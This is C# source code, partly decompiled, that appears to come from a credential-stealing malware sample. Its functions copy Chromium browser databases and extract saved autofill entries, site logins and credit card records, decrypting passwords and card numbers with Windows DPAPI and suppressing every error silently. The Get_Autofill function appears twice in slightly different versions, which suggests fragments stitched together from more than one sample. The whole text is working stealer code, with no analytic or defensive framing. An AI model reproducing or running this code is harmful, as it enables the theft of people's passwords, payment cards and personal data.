public static void Get_Autofill(string profilePath, string browser_name, string profile_name) { try { string text = Path.Combine(profilePath, "Web Data"); var cNT = new sqlite.CNT(GetCookies.CreateTempCopy(text)); cNT.ReadTable("autofill"); for (int i = 0; i < cNT.RowLength; i++) { AutofillCount++; try { Autofill.Add($"Name : {cNT.ParseValue(i, "name").Trim()}{Environment.NewLine}Value : {cNT.ParseValue(i, "value").Trim()}"); } catch { } } foreach (string v in Autofill) { Autofill_List.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile_name}{Environment.NewLine}{v}{Environment.NewLine}");; } Autofill.Clear(); } catch { } }
public static void Passwords_Grab(string profilePath, string browser_name, string profile) { try { string text = Path.Combine(profilePath, "Login Data"); browser_name_list.Add(browser_name); profile_list.Add(profile); var cNT = new sqlite.CNT(GetCookies.CreateTempCopy(text)); cNT.ReadTable("logins"); for (int i = 0; i < cNT.RowLength; i++) { Cpassword++; try { credential.Add($"Site_Url : {cNT.ParseValue(i, "origin_url").Trim()}{Environment.NewLine}Login : {cNT.ParseValue(i, "username_value").Trim()}{Environment.NewLine}Password : {GetCookies.DecryptBlob(cNT.ParseValue(i, "password_value"), DataProtectionScope.CurrentUser).Trim()}{Environment.NewLine}"); } catch { } } foreach (string v in credential) { password.Add($"Browser : {browser_name}{Environment.NewLine}Profile : {profile}{Environment.NewLine}{v}"); } credential.Clear(); } catch { } }
// Token: 0x06000184 RID: 388 RVA: 0x0000AEAC File Offset: 0x000090AC public static void Get_CC(string profilePath, string Browser_Name, string Profile_Name) { try { SqlHandler sqlHandler = new SqlHandler(GetCookies.CreateTempCopy(Path.Combine(profilePath, "Web Data"))); sqlHandler.ReadTable("credit_cards"); int rowCount = sqlHandler.GetRowCount(); for (int i = 0; i < rowCount; i++) { Get_Credit_Cards.CCCouunt++; try { string @string = Encoding.UTF8.GetString(DecryptAPI.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 4)), null)); string value = sqlHandler.GetValue(i, 1); string value2 = sqlHandler.GetValue(i, 2); string value3 = sqlHandler.GetValue(i, 3); string value4 = sqlHandler.GetValue(i, 9); Get_Credit_Cards.CC.Add(string.Format("{0}\t{1}/{2}\t{3}\t{4}\r\n******************************\r\n", new object[] { value, value2, value3, @string, value4 })); } catch { } } foreach (string text in Get_Credit_Cards.CC) { Get_Credit_Cards.CC_List.Add(string.Concat(new string[] { "Browser : ", Browser_Name, Environment.NewLine, "Profie : ", Profile_Name, Environment.NewLine, text })); } Get_Credit_Cards.CC.Clear(); } catch { } }
// Token: 0x0600017D RID: 381 RVA: 0x0000A4C8 File Offset: 0x000086C8 public static void Get_Autofill(string profilePath, string browser_name, string profile_name) { try { Sqlite sqlite = new Sqlite(GetCookies.CreateTempCopy(Path.Combine(profilePath, "Web Data"))); sqlite.ReadTable("autofill"); for (int i = 0; i < sqlite.GetRowCount(); i++) { Get_Browser_Autofill.AutofillCount++; try { Get_Browser_Autofill.Autofill.Add(string.Concat(new string[] { "Name : ", sqlite.GetValue(i, "name").Trim(), Environment.NewLine, "Value : ", sqlite.GetValue(i, "value").Trim() })); } catch { } } foreach (string text in Get_Browser_Autofill.Autofill) { Get_Browser_Autofill.Autofill_List.Add(string.Concat(new string[] { "Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, text, Environment.NewLine })); } Get_Browser_Autofill.Autofill.Clear(); } catch { } }